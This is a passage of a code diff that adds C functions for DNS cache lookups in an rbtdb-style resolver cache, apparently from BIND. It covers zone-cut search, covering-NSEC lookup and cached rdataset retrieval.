+				*header_prev = header;
+			}
+		} else {
+			*header_prev = header;
+		}
+		return (true);
+	}
+	return (false);
+}
+
+static isc_result_t
+cache_zonecut_callback(dns_rbtnode_t *node, dns_name_t *name,
+		       void *arg DNS__DB_FLARG) {
+	rbtdb_search_t *search = arg;
+	dns_slabheader_t *header = NULL;
+	dns_slabheader_t *header_prev = NULL, *header_next = NULL;
+	dns_slabheader_t *dname_header = NULL, *sigdname_header = NULL;
+	isc_result_t result;
+	isc_rwlock_t *lock = NULL;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+
+	REQUIRE(search->zonecut == NULL);
+
+	/*
+	 * Keep compiler silent.
+	 */
+	UNUSED(name);
+
+	lock = &(search->rbtdb->node_locks[node->locknum].lock);
+	NODE_RDLOCK(lock, &nlocktype);
+
+	/*
+	 * Look for a DNAME or RRSIG DNAME rdataset.
+	 */
+	for (header = node->data; header != NULL; header = header_next) {
+		header_next = header->next;
+		if (check_stale_header(node, header, &nlocktype, lock, search,
+				       &header_prev))
+		{
+			/* Do nothing. */
+		} else if (header->type == dns_rdatatype_dname &&
+			   EXISTS(header) && !ANCIENT(header))
+		{
+			dname_header = header;
+			header_prev = header;
+		} else if (header->type == RBTDB_RDATATYPE_SIGDNAME &&
+			   EXISTS(header) && !ANCIENT(header))
+		{
+			sigdname_header = header;
+			header_prev = header;
+		} else {
+			header_prev = header;
+		}
+	}
+
+	if (dname_header != NULL &&
+	    (!DNS_TRUST_PENDING(dname_header->trust) ||
+	     (search->options & DNS_DBFIND_PENDINGOK) != 0))
+	{
+		/*
+		 * We increment the reference count on node to ensure that
+		 * search->zonecut_header will still be valid later.
+		 */
+		dns__rbtdb_newref(search->rbtdb, node,
+				  nlocktype DNS__DB_FLARG_PASS);
+		search->zonecut = node;
+		search->zonecut_header = dname_header;
+		search->zonecut_sigheader = sigdname_header;
+		search->need_cleanup = true;
+		result = DNS_R_PARTIALMATCH;
+	} else {
+		result = DNS_R_CONTINUE;
+	}
+
+	NODE_UNLOCK(lock, &nlocktype);
+
+	return (result);
+}
+
+static isc_result_t
+find_deepest_zonecut(rbtdb_search_t *search, dns_rbtnode_t *node,
+		     dns_dbnode_t **nodep, dns_name_t *foundname,
+		     dns_rdataset_t *rdataset,
+		     dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	unsigned int i;
+	isc_result_t result = ISC_R_NOTFOUND;
+	dns_name_t name;
+	dns_rbtdb_t *rbtdb = NULL;
+	bool done;
+
+	/*
+	 * Caller must be holding the tree lock.
+	 */
+
+	rbtdb = search->rbtdb;
+	i = search->chain.level_matches;
+	done = false;
+	do {
+		dns_slabheader_t *header = NULL;
+		dns_slabheader_t *header_prev = NULL, *header_next = NULL;
+		dns_slabheader_t *found = NULL, *foundsig = NULL;
+		isc_rwlock_t *lock = &rbtdb->node_locks[node->locknum].lock;
+		isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+
+		NODE_RDLOCK(lock, &nlocktype);
+
+		/*
+		 * Look for NS and RRSIG NS rdatasets.
+		 */
+		for (header = node->data; header != NULL; header = header_next)
+		{
+			header_next = header->next;
+			if (check_stale_header(node, header, &nlocktype, lock,
+					       search, &header_prev))
+			{
+				/* Do nothing. */
+			} else if (EXISTS(header) && !ANCIENT(header)) {
+				/*
+				 * We've found an extant rdataset.  See if
+				 * we're interested in it.
+				 */
+				if (header->type == dns_rdatatype_ns) {
+					found = header;
+					if (foundsig != NULL) {
+						break;
+					}
+				} else if (header->type ==
+					   RBTDB_RDATATYPE_SIGNS)
+				{
+					foundsig = header;
+					if (found != NULL) {
+						break;
+					}
+				}
+				header_prev = header;
+			} else {
+				header_prev = header;
+			}
+		}
+
+		if (found != NULL) {
+			/*
+			 * If we have to set foundname, we do it before
+			 * anything else.  If we were to set foundname after
+			 * we had set nodep or bound the rdataset, then we'd
+			 * have to undo that work if dns_name_concatenate()
+			 * failed.  By setting foundname first, there's
+			 * nothing to undo if we have trouble.
+			 */
+			if (foundname != NULL) {
+				dns_name_init(&name, NULL);
+				dns_rbt_namefromnode(node, &name);
+				dns_name_copy(&name, foundname);
+				while (i > 0) {
+					dns_rbtnode_t *level_node =
+						search->chain.levels[--i];
+					dns_name_init(&name, NULL);
+					dns_rbt_namefromnode(level_node, &name);
+					result = dns_name_concatenate(
+						foundname, &name, foundname,
+						NULL);
+					if (result != ISC_R_SUCCESS) {
+						if (nodep != NULL) {
+							*nodep = NULL;
+						}
+						goto node_exit;
+					}
+				}
+			}
+			result = DNS_R_DELEGATION;
+			if (nodep != NULL) {
+				dns__rbtdb_newref(search->rbtdb, node,
+						  nlocktype DNS__DB_FLARG_PASS);
+				*nodep = node;
+			}
+			dns__rbtdb_bindrdataset(search->rbtdb, node, found,
+						search->now, nlocktype,
+						rdataset DNS__DB_FLARG_PASS);
+			if (foundsig != NULL) {
+				dns__rbtdb_bindrdataset(
+					search->rbtdb, node, foundsig,
+					search->now, nlocktype,
+					sigrdataset DNS__DB_FLARG_PASS);
+			}
+			if (need_headerupdate(found, search->now) ||
+			    (foundsig != NULL &&
+			     need_headerupdate(foundsig, search->now)))
+			{
+				if (nlocktype != isc_rwlocktype_write) {
+					NODE_FORCEUPGRADE(lock, &nlocktype);
+					POST(nlocktype);
+				}
+				if (need_headerupdate(found, search->now)) {
+					update_header(search->rbtdb, found,
+						      search->now);
+				}
+				if (foundsig != NULL &&
+				    need_headerupdate(foundsig, search->now))
+				{
+					update_header(search->rbtdb, foundsig,
+						      search->now);
+				}
+			}
+		}
+
+	node_exit:
+		NODE_UNLOCK(lock, &nlocktype);
+
+		if (found == NULL && i > 0) {
+			i--;
+			node = search->chain.levels[i];
+		} else {
+			done = true;
+		}
+	} while (!done);
+
+	return (result);
+}
+
+/*
+ * Look for a potentially covering NSEC in the cache where `name`
+ * is known not to exist.  This uses the auxiliary NSEC tree to find
+ * the potential NSEC owner. If found, we update 'foundname', 'nodep',
+ * 'rdataset' and 'sigrdataset', and return DNS_R_COVERINGNSEC.
+ * Otherwise, return ISC_R_NOTFOUND.
+ */
+static isc_result_t
+find_coveringnsec(rbtdb_search_t *search, const dns_name_t *name,
+		  dns_dbnode_t **nodep, isc_stdtime_t now,
+		  dns_name_t *foundname, dns_rdataset_t *rdataset,
+		  dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	dns_fixedname_t fprefix, forigin, ftarget, fixed;
+	dns_name_t *prefix = NULL, *origin = NULL;
+	dns_name_t *target = NULL, *fname = NULL;
+	dns_rbtnode_t *node = NULL;
+	dns_rbtnodechain_t chain;
+	isc_result_t result;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+	isc_rwlock_t *lock = NULL;
+	dns_typepair_t matchtype, sigmatchtype;
+	dns_slabheader_t *found = NULL, *foundsig = NULL;
+	dns_slabheader_t *header = NULL;
+	dns_slabheader_t *header_next = NULL, *header_prev = NULL;
+
+	/*
+	 * Look for the node in the auxilary tree.
+	 */
+	dns_rbtnodechain_init(&chain);
+	target = dns_fixedname_initname(&ftarget);
+	result = dns_rbt_findnode(search->rbtdb->nsec, name, target, &node,
+				  &chain, DNS_RBTFIND_EMPTYDATA, NULL, NULL);
+	if (result != DNS_R_PARTIALMATCH) {
+		dns_rbtnodechain_reset(&chain);
+		return (ISC_R_NOTFOUND);
+	}
+
+	prefix = dns_fixedname_initname(&fprefix);
+	origin = dns_fixedname_initname(&forigin);
+	target = dns_fixedname_initname(&ftarget);
+	fname = dns_fixedname_initname(&fixed);
+
+	matchtype = DNS_TYPEPAIR_VALUE(dns_rdatatype_nsec, 0);
+	sigmatchtype = DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig,
+					  dns_rdatatype_nsec);
+
+	/*
+	 * Extract predecessor from chain.
+	 */
+	result = dns_rbtnodechain_current(&chain, prefix, origin, NULL);
+	dns_rbtnodechain_reset(&chain);
+	if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	result = dns_name_concatenate(prefix, origin, target, NULL);
+	if (result != ISC_R_SUCCESS) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	/*
+	 * Lookup the predecessor in the main tree.
+	 */
+	node = NULL;
+	result = dns_rbt_findnode(search->rbtdb->tree, target, fname, &node,
+				  NULL, DNS_RBTFIND_EMPTYDATA, NULL, NULL);
+	if (result != ISC_R_SUCCESS) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	lock = &(search->rbtdb->node_locks[node->locknum].lock);
+	NODE_RDLOCK(lock, &nlocktype);
+	for (header = node->data; header != NULL; header = header_next) {
+		header_next = header->next;
+		if (check_stale_header(node, header, &nlocktype, lock, search,
+				       &header_prev))
+		{
+			continue;
+		}
+		if (NONEXISTENT(header) || DNS_TYPEPAIR_TYPE(header->type) == 0)
+		{
+			header_prev = header;
+			continue;
+		}
+		if (header->type == matchtype) {
+			found = header;
+			if (foundsig != NULL) {
+				break;
+			}
+		} else if (header->type == sigmatchtype) {
+			foundsig = header;
+			if (found != NULL) {
+				break;
+			}
+		}
+		header_prev = header;
+	}
+	if (found != NULL) {
+		dns__rbtdb_bindrdataset(search->rbtdb, node, found, now,
+					nlocktype, rdataset DNS__DB_FLARG_PASS);
+		if (foundsig != NULL) {
+			dns__rbtdb_bindrdataset(search->rbtdb, node, foundsig,
+						now, nlocktype,
+						sigrdataset DNS__DB_FLARG_PASS);
+		}
+		dns__rbtdb_newref(search->rbtdb, node,
+				  nlocktype DNS__DB_FLARG_PASS);
+
+		dns_name_copy(fname, foundname);
+
+		*nodep = node;
+		result = DNS_R_COVERINGNSEC;
+	} else {
+		result = ISC_R_NOTFOUND;
+	}
+	NODE_UNLOCK(lock, &nlocktype);
+	return (result);
+}
+
+static isc_result_t
+cache_find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
+	   dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
+	   dns_dbnode_t **nodep, dns_name_t *foundname,
+	   dns_rdataset_t *rdataset,
+	   dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	dns_rbtnode_t *node = NULL;
+	isc_result_t result;
+	rbtdb_search_t search;
+	bool cname_ok = true;
+	bool found_noqname = false;
+	bool all_negative = true;
+	bool empty_node;
+	isc_rwlock_t *lock = NULL;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+	dns_slabheader_t *header = NULL;
+	dns_slabheader_t *header_prev = NULL, *header_next = NULL;
+	dns_slabheader_t *found = NULL, *nsheader = NULL;
+	dns_slabheader_t *foundsig = NULL, *nssig = NULL, *cnamesig = NULL;
+	dns_slabheader_t *update = NULL, *updatesig = NULL;
+	dns_slabheader_t *nsecheader = NULL, *nsecsig = NULL;
+	dns_typepair_t sigtype, negtype;
+
+	UNUSED(version);
+
+	REQUIRE(VALID_RBTDB((dns_rbtdb_t *)db));
+	REQUIRE(version == NULL);
+
+	if (now == 0) {
+		now = isc_stdtime_now();
+	}
+
+	search = (rbtdb_search_t){
+		.rbtdb = (dns_rbtdb_t *)db,
+		.serial = 1,
+		.options = options,
+		.now = now,
+	};
+	dns_fixedname_init(&search.zonecut_name);
+	dns_rbtnodechain_init(&search.chain);
+
+	TREE_RDLOCK(&search.rbtdb->tree_lock, &tlocktype);
+
+	/*
+	 * Search down from the root of the tree.  If, while going down, we
+	 * encounter a callback node, cache_zonecut_callback() will search the
+	 * rdatasets at the zone cut for a DNAME rdataset.
+	 */
+	result = dns_rbt_findnode(search.rbtdb->tree, name, foundname, &node,
+				  &search.chain, DNS_RBTFIND_EMPTYDATA,
+				  cache_zonecut_callback, &search);
+
+	if (result == DNS_R_PARTIALMATCH) {
+		/*
+		 * If dns_rbt_findnode discovered a covering DNAME skip
+		 * looking for a covering NSEC.
+		 */
+		if ((search.options & DNS_DBFIND_COVERINGNSEC) != 0 &&
+		    (search.zonecut_header == NULL ||
+		     search.zonecut_header->type != dns_rdatatype_dname))
+		{
+			result = find_coveringnsec(
+				&search, name, nodep, now, foundname, rdataset,
+				sigrdataset DNS__DB_FLARG_PASS);
+			if (result == DNS_R_COVERINGNSEC) {
+				goto tree_exit;
+			}
+		}
+		if (search.zonecut != NULL) {
+			result = setup_delegation(
+				&search, nodep, foundname, rdataset,
+				sigrdataset DNS__DB_FLARG_PASS);
+			goto tree_exit;
+		} else {
+		find_ns:
+			result = find_deepest_zonecut(
+				&search, node, nodep, foundname, rdataset,
+				sigrdataset DNS__DB_FLARG_PASS);
+			goto tree_exit;
+		}
+	} else if (result != ISC_R_SUCCESS) {
+		goto tree_exit;
+	}
+
+	/*
+	 * Certain DNSSEC types are not subject to CNAME matching
+	 * (RFC4035, section 2.5 and RFC3007).
+	 *
+	 * We don't check for RRSIG, because we don't store RRSIG records
+	 * directly.
+	 */
+	if (type == dns_rdatatype_key || type == dns_rdatatype_nsec) {
+		cname_ok = false;
+	}
+
+	/*
+	 * We now go looking for rdata...
+	 */
+
+	lock = &(search.rbtdb->node_locks[node->locknum].lock);
+	NODE_RDLOCK(lock, &nlocktype);
+
+	/*
+	 * These pointers need to be reset here in case we did
+	 * 'goto find_ns' from somewhere below.
+	 */
+	found = NULL;
+	foundsig = NULL;
+	sigtype = DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, type);
+	negtype = DNS_TYPEPAIR_VALUE(0, type);
+	nsheader = NULL;
+	nsecheader = NULL;
+	nssig = NULL;
+	nsecsig = NULL;
+	cnamesig = NULL;
+	empty_node = true;
+	header_prev = NULL;
+	for (header = node->data; header != NULL; header = header_next) {
+		header_next = header->next;
+		if (check_stale_header(node, header, &nlocktype, lock, &search,
+				       &header_prev))
+		{
+			/* Do nothing. */
+		} else if (EXISTS(header) && !ANCIENT(header)) {
+			/*
+			 * We now know that there is at least one active
+			 * non-stale rdataset at this node.
+			 */
+			empty_node = false;
+			if (header->noqname != NULL &&
+			    header->trust == dns_trust_secure)
+			{
+				found_noqname = true;
+			}
+			if (!NEGATIVE(header)) {
+				all_negative = false;
+			}
+
+			/*
+			 * If we found a type we were looking for, remember
+			 * it.
+			 */
+			if (header->type == type ||
+			    (type == dns_rdatatype_any &&
+			     DNS_TYPEPAIR_TYPE(header->type) != 0) ||
+			    (cname_ok && header->type == dns_rdatatype_cname))
+			{
+				/*
+				 * We've found the answer.
+				 */
+				found = header;
+				if (header->type == dns_rdatatype_cname &&
+				    cname_ok && cnamesig != NULL)
+				{
+					/*
+					 * If we've already got the
+					 * CNAME RRSIG, use it.
+					 */
+					foundsig = cnamesig;
+				}
+			} else if (header->type == sigtype) {
+				/*
+				 * We've found the RRSIG rdataset for our
+				 * target type.  Remember it.
+				 */
+				foundsig = header;
+			} else if (header->type == RBTDB_RDATATYPE_NCACHEANY ||
+				   header->type == negtype)
+			{
+				/*
+				 * We've found a negative cache entry.
+				 */
+				found = header;
+			} else if (header->type == dns_rdatatype_ns) {
+				/*
+				 * Remember a NS rdataset even if we're
+				 * not specifically looking for it, because
+				 * we might need it later.
+				 */
+				nsheader = header;
+			} else if (header->type == RBTDB_RDATATYPE_SIGNS) {
+				/*
+				 * If we need the NS rdataset, we'll also
+				 * need its signature.
+				 */
+				nssig = header;
+			} else if (header->type == dns_rdatatype_nsec) {
+				nsecheader = header;
+			} else if (header->type == RBTDB_RDATATYPE_SIGNSEC) {
+				nsecsig = header;
+			} else if (cname_ok &&
+				   header->type == RBTDB_RDATATYPE_SIGCNAME)
+			{
+				/*
+				 * If we get a CNAME match, we'll also need
+				 * its signature.
+				 */
+				cnamesig = header;
+			}
+			header_prev = header;
+		} else {
+			header_prev = header;
+		}
+	}
+
+	if (empty_node) {
+		/*
+		 * We have an exact match for the name, but there are no
+		 * extant rdatasets.  That means that this node doesn't
+		 * meaningfully exist, and that we really have a partial match.
+		 */
+		NODE_UNLOCK(lock, &nlocktype);
+		if ((search.options & DNS_DBFIND_COVERINGNSEC) != 0) {
+			result = find_coveringnsec(
+				&search, name, nodep, now, foundname, rdataset,
+				sigrdataset DNS__DB_FLARG_PASS);
+			if (result == DNS_R_COVERINGNSEC) {
+				goto tree_exit;
+			}
+		}
+		goto find_ns;
+	}
+
+	/*
+	 * If we didn't find what we were looking for...
+	 */
+	if (found == NULL ||
+	    (DNS_TRUST_ADDITIONAL(found->trust) &&
+	     ((options & DNS_DBFIND_ADDITIONALOK) == 0)) ||
+	    (found->trust == dns_trust_glue &&
+	     ((options & DNS_DBFIND_GLUEOK) == 0)) ||
+	    (DNS_TRUST_PENDING(found->trust) &&
+	     ((options & DNS_DBFIND_PENDINGOK) == 0)))
+	{
+		/*
+		 * Return covering NODATA NSEC record.
+		 */
+		if ((search.options & DNS_DBFIND_COVERINGNSEC) != 0 &&
+		    nsecheader != NULL)
+		{
+			if (nodep != NULL) {
+				dns__rbtdb_newref(search.rbtdb, node,
+						  nlocktype DNS__DB_FLARG_PASS);
+				*nodep = node;
+			}
+			dns__rbtdb_bindrdataset(search.rbtdb, node, nsecheader,
+						search.now, nlocktype,
+						rdataset DNS__DB_FLARG_PASS);
+			if (need_headerupdate(nsecheader, search.now)) {
+				update = nsecheader;
+			}
+			if (nsecsig != NULL) {
+				dns__rbtdb_bindrdataset(
+					search.rbtdb, node, nsecsig, search.now,
+					nlocktype,
+					sigrdataset DNS__DB_FLARG_PASS);
+				if (need_headerupdate(nsecsig, search.now)) {
+					updatesig = nsecsig;
+				}
+			}
+			result = DNS_R_COVERINGNSEC;
+			goto node_exit;
+		}
+
+		/*
+		 * This name was from a wild card.  Look for a covering NSEC.
+		 */
+		if (found == NULL && (found_noqname || all_negative) &&
+		    (search.options & DNS_DBFIND_COVERINGNSEC) != 0)
+		{
+			NODE_UNLOCK(lock, &nlocktype);
+			result = find_coveringnsec(
+				&search, name, nodep, now, foundname, rdataset,
+				sigrdataset DNS__DB_FLARG_PASS);
+			if (result == DNS_R_COVERINGNSEC) {
+				goto tree_exit;
+			}
+			goto find_ns;
+		}
+
+		/*
+		 * If there is an NS rdataset at this node, then this is the
+		 * deepest zone cut.
+		 */
+		if (nsheader != NULL) {
+			if (nodep != NULL) {
+				dns__rbtdb_newref(search.rbtdb, node,
+						  nlocktype DNS__DB_FLARG_PASS);
+				*nodep = node;
+			}
+			dns__rbtdb_bindrdataset(search.rbtdb, node, nsheader,
+						search.now, nlocktype,
+						rdataset DNS__DB_FLARG_PASS);
+			if (need_headerupdate(nsheader, search.now)) {
+				update = nsheader;
+			}
+			if (nssig != NULL) {
+				dns__rbtdb_bindrdataset(
+					search.rbtdb, node, nssig, search.now,
+					nlocktype,
+					sigrdataset DNS__DB_FLARG_PASS);
+				if (need_headerupdate(nssig, search.now)) {
+					updatesig = nssig;
+				}
+			}
+			result = DNS_R_DELEGATION;
+			goto node_exit;
+		}
+
+		/*
+		 * Go find the deepest zone cut.
+		 */
+		NODE_UNLOCK(lock, &nlocktype);
+		goto find_ns;
+	}
+
+	/*
+	 * We found what we were looking for, or we found a CNAME.
+	 */
+
+	if (nodep != NULL) {
+		dns__rbtdb_newref(search.rbtdb, node,
+				  nlocktype DNS__DB_FLARG_PASS);
+		*nodep = node;
+	}
+
+	if (NEGATIVE(found)) {
+		/*
+		 * We found a negative cache entry.
+		 */
+		if (NXDOMAIN(found)) {
+			result = DNS_R_NCACHENXDOMAIN;
+		} else {
+			result = DNS_R_NCACHENXRRSET;
+		}
+	} else if (type != found->type && type != dns_rdatatype_any &&
+		   found->type == dns_rdatatype_cname)
+	{
+		/*
+		 * We weren't doing an ANY query and we found a CNAME instead
+		 * of the type we were looking for, so we need to indicate
+		 * that result to the caller.
+		 */
+		result = DNS_R_CNAME;
+	} else {
+		/*
+		 * An ordinary successful query!
+		 */
+		result = ISC_R_SUCCESS;
+	}
+
+	if (type != dns_rdatatype_any || result == DNS_R_NCACHENXDOMAIN ||
+	    result == DNS_R_NCACHENXRRSET)
+	{
+		dns__rbtdb_bindrdataset(search.rbtdb, node, found, search.now,
+					nlocktype, rdataset DNS__DB_FLARG_PASS);
+		if (need_headerupdate(found, search.now)) {
+			update = found;
+		}
+		if (!NEGATIVE(found) && foundsig != NULL) {
+			dns__rbtdb_bindrdataset(search.rbtdb, node, foundsig,
+						search.now, nlocktype,
+						sigrdataset DNS__DB_FLARG_PASS);
+			if (need_headerupdate(foundsig, search.now)) {
+				updatesig = foundsig;
+			}
+		}
+	}
+
+node_exit:
+	if ((update != NULL || updatesig != NULL) &&
+	    nlocktype != isc_rwlocktype_write)
+	{
+		NODE_FORCEUPGRADE(lock, &nlocktype);
+		POST(nlocktype);
+	}
+	if (update != NULL && need_headerupdate(update, search.now)) {
+		update_header(search.rbtdb, update, search.now);
+	}
+	if (updatesig != NULL && need_headerupdate(updatesig, search.now)) {
+		update_header(search.rbtdb, updatesig, search.now);
+	}
+
+	NODE_UNLOCK(lock, &nlocktype);
+
+tree_exit:
+	TREE_UNLOCK(&search.rbtdb->tree_lock, &tlocktype);
+
+	/*
+	 * If we found a zonecut but aren't going to use it, we have to
+	 * let go of it.
+	 */
+	if (search.need_cleanup) {
+		node = search.zonecut;
+		INSIST(node != NULL);
+		lock = &(search.rbtdb->node_locks[node->locknum].lock);
+
+		NODE_RDLOCK(lock, &nlocktype);
+		dns__rbtdb_decref(search.rbtdb, node, 0, &nlocktype, &tlocktype,
+				  true, false DNS__DB_FLARG_PASS);
+		NODE_UNLOCK(lock, &nlocktype);
+		INSIST(tlocktype == isc_rwlocktype_none);
+	}
+
+	dns_rbtnodechain_reset(&search.chain);
+
+	update_cachestats(search.rbtdb, result);
+	return (result);
+}
+
+static isc_result_t
+cache_findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
+		  isc_stdtime_t now, dns_dbnode_t **nodep,
+		  dns_name_t *foundname, dns_name_t *dcname,
+		  dns_rdataset_t *rdataset,
+		  dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	dns_rbtnode_t *node = NULL;
+	isc_rwlock_t *lock = NULL;
+	isc_result_t result;
+	rbtdb_search_t search;
+	dns_slabheader_t *header = NULL;
+	dns_slabheader_t *header_prev = NULL, *header_next = NULL;
+	dns_slabheader_t *found = NULL, *foundsig = NULL;
+	unsigned int rbtoptions = DNS_RBTFIND_EMPTYDATA;
+	isc_rwlocktype_t tlocktype = isc_rwlocktype_none;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+	bool dcnull = (dcname == NULL);
+
+	REQUIRE(VALID_RBTDB((dns_rbtdb_t *)db));
+
+	if (now == 0) {
+		now = isc_stdtime_now();
+	}
+
+	search = (rbtdb_search_t){
+		.rbtdb = (dns_rbtdb_t *)db,
+		.serial = 1,
+		.options = options,
+		.now = now,
+	};
+	dns_fixedname_init(&search.zonecut_name);
+	dns_rbtnodechain_init(&search.chain);
+
+	if (dcnull) {
+		dcname = foundname;
+	}
+
+	if ((options & DNS_DBFIND_NOEXACT) != 0) {
+		rbtoptions |= DNS_RBTFIND_NOEXACT;
+	}
+
+	TREE_RDLOCK(&search.rbtdb->tree_lock, &tlocktype);
+
+	/*
+	 * Search down from the root of the tree.
+	 */
+	result = dns_rbt_findnode(search.rbtdb->tree, name, dcname, &node,
+				  &search.chain, rbtoptions, NULL, &search);
+
+	if (result == DNS_R_PARTIALMATCH) {
+		result = find_deepest_zonecut(&search, node, nodep, foundname,
+					      rdataset,
+					      sigrdataset DNS__DB_FLARG_PASS);
+		goto tree_exit;
+	} else if (result != ISC_R_SUCCESS) {
+		goto tree_exit;
+	} else if (!dcnull) {
+		dns_name_copy(dcname, foundname);
+	}
+
+	/*
+	 * We now go looking for an NS rdataset at the node.
+	 */
+
+	lock = &(search.rbtdb->node_locks[node->locknum].lock);
+	NODE_RDLOCK(lock, &nlocktype);
+
+	for (header = node->data; header != NULL; header = header_next) {
+		header_next = header->next;
+		if (check_stale_header(node, header, &nlocktype, lock, &search,
+				       &header_prev))
+		{
+			/*
+			 * The function dns_rbt_findnode found us the a matching
+			 * node for 'name' and stored the result in 'dcname'.
+			 * This is the deepest known zonecut in our database.
+			 * However, this node may be stale and if serve-stale
+			 * is not enabled (in other words 'stale-answer-enable'
+			 * is set to no), this node may not be used as a
+			 * zonecut we know about. If so, find the deepest
+			 * zonecut from this node up and return that instead.
+			 */
+			NODE_UNLOCK(lock, &nlocktype);
+			result = find_deepest_zonecut(
+				&search, node, nodep, foundname, rdataset,
+				sigrdataset DNS__DB_FLARG_PASS);
+			dns_name_copy(foundname, dcname);
+			goto tree_exit;
+		} else if (EXISTS(header) && !ANCIENT(header)) {
+			/*
+			 * If we found a type we were looking for, remember
+			 * it.
+			 */
+			if (header->type == dns_rdatatype_ns) {
+				/*
+				 * Remember a NS rdataset even if we're
+				 * not specifically looking for it, because
+				 * we might need it later.
+				 */
+				found = header;
+			} else if (header->type == RBTDB_RDATATYPE_SIGNS) {
+				/*
+				 * If we need the NS rdataset, we'll also
+				 * need its signature.
+				 */
+				foundsig = header;
+			}
+			header_prev = header;
+		} else {
+			header_prev = header;
+		}
+	}
+
+	if (found == NULL) {
+		/*
+		 * No NS records here.
+		 */
+		NODE_UNLOCK(lock, &nlocktype);
+		result = find_deepest_zonecut(&search, node, nodep, foundname,
+					      rdataset,
+					      sigrdataset DNS__DB_FLARG_PASS);
+		goto tree_exit;
+	}
+
+	if (nodep != NULL) {
+		dns__rbtdb_newref(search.rbtdb, node,
+				  nlocktype DNS__DB_FLARG_PASS);
+		*nodep = node;
+	}
+
+	dns__rbtdb_bindrdataset(search.rbtdb, node, found, search.now,
+				nlocktype, rdataset DNS__DB_FLARG_PASS);
+	if (foundsig != NULL) {
+		dns__rbtdb_bindrdataset(search.rbtdb, node, foundsig,
+					search.now, nlocktype,
+					sigrdataset DNS__DB_FLARG_PASS);
+	}
+
+	if (need_headerupdate(found, search.now) ||
+	    (foundsig != NULL && need_headerupdate(foundsig, search.now)))
+	{
+		if (nlocktype != isc_rwlocktype_write) {
+			NODE_FORCEUPGRADE(lock, &nlocktype);
+			POST(nlocktype);
+		}
+		if (need_headerupdate(found, search.now)) {
+			update_header(search.rbtdb, found, search.now);
+		}
+		if (foundsig != NULL && need_headerupdate(foundsig, search.now))
+		{
+			update_header(search.rbtdb, foundsig, search.now);
+		}
+	}
+
+	NODE_UNLOCK(lock, &nlocktype);
+
+tree_exit:
+	TREE_UNLOCK(&search.rbtdb->tree_lock, &tlocktype);
+
+	INSIST(!search.need_cleanup);
+
+	dns_rbtnodechain_reset(&search.chain);
+
+	if (result == DNS_R_DELEGATION) {
+		result = ISC_R_SUCCESS;
+	}
+
+	return (result);
+}
+
+static isc_result_t
+cache_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+		   dns_rdatatype_t type, dns_rdatatype_t covers,
+		   isc_stdtime_t now, dns_rdataset_t *rdataset,
+		   dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	dns_rbtdb_t *rbtdb = (dns_rbtdb_t *)db;
+	dns_rbtnode_t *rbtnode = (dns_rbtnode_t *)node;
+	dns_slabheader_t *header = NULL, *header_next = NULL;
+	dns_slabheader_t *found = NULL, *foundsig = NULL;
+	dns_typepair_t matchtype, sigmatchtype, negtype;
+	isc_result_t result;
+	isc_rwlock_t *lock = NULL;
+	isc_rwlocktype_t nlocktype = isc_rwlocktype_none;
+
+	REQUIRE(VALID_RBTDB(rbtdb));
+	REQUIRE(type != dns_rdatatype_any);
+
+	UNUSED(version);
+
+	result = ISC_R_SUCCESS;
+
+	if (now == 0) {
+		now = isc_stdtime_now();
+	}
+
+	lock = &rbtdb->node_locks[rbtnode->locknum].lock;
+	NODE_RDLOCK(lock, &nlocktype);
+
+	matchtype = DNS_TYPEPAIR_VALUE(type, covers);
+	negtype = DNS_TYPEPAIR_VALUE(0, type);
+	if (covers == 0) {
+		sigmatchtype = DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, type);
+	} else {
+		sigmatchtype = 0;
+	}
+
+	for (header = rbtnode->data; header != NULL; header = header_next) {
+		header_next = header->next;
+		if (!ACTIVE(header, now)) {
+			if ((header->ttl + STALE_TTL(header, rbtdb) <
+			     now - RBTDB_VIRTUAL) &&
+			    (nlocktype == isc_rwlocktype_write ||
+			     NODE_TRYUPGRADE(lock, &nlocktype) ==
+				     ISC_R_SUCCESS))
+			{
+				/*
+				 * We update the node's status only when we
+				 * can get write access.
+				 *
+				 * We don't check if refcurrent(rbtnode) == 0
+				 * and try to free like we do in cache_find(),
+				 * because refcurrent(rbtnode) must be
+				 * non-zero.  This is so because 'node' is an
+				 * argument to the function.
+				 */
+				dns__rbtdb_mark(header,
+						DNS_SLABHEADERATTR_ANCIENT);
+				HEADER_NODE(header)->dirty = 1;
+			}
+		} else if (EXISTS(header) && !ANCIENT(header)) {
+			if (header->type == matchtype) {
+				found = header;
+			} else if (header->type == RBTDB_RDATATYPE_NCACHEANY ||
+				   header->type == negtype)
+			{
+				found = header;
+			} else if (header->type == sigmatchtype) {
+				foundsig = header;
+			}
+		}
+	}
+	if (found != NULL) {
+		dns__rbtdb_bindrdataset(rbtdb, rbtnode, found, now, nlocktype,
+					rdataset DNS__DB_FLARG_PASS);
+		if (!NEGATIVE(found) && foundsig != NULL) {
+			dns__rbtdb_bindrdataset(rbtdb, rbtnode, foundsig, now,
+						nlocktype,
+						sigrdataset DNS__DB_FLARG_PASS);
+		}
+	}
+
+	NODE_UNLOCK(lock, &nlocktype);
+
+	if (found == NULL) {
+		return (ISC_R_NOTFOUND);
+	}
+
+	if (NEGATIVE(found)) {
+		/*
+		 * We found a negative cache entry.
+		 */
+		if (NXDOMAIN(found)) {
+			result = DNS_R_NCACHENXDOMAIN;
+		} else {
+			result = DNS_R_NCACHENXRRSET;
+		}
+	}
+
+	update_cachestats(rbtdb, result);
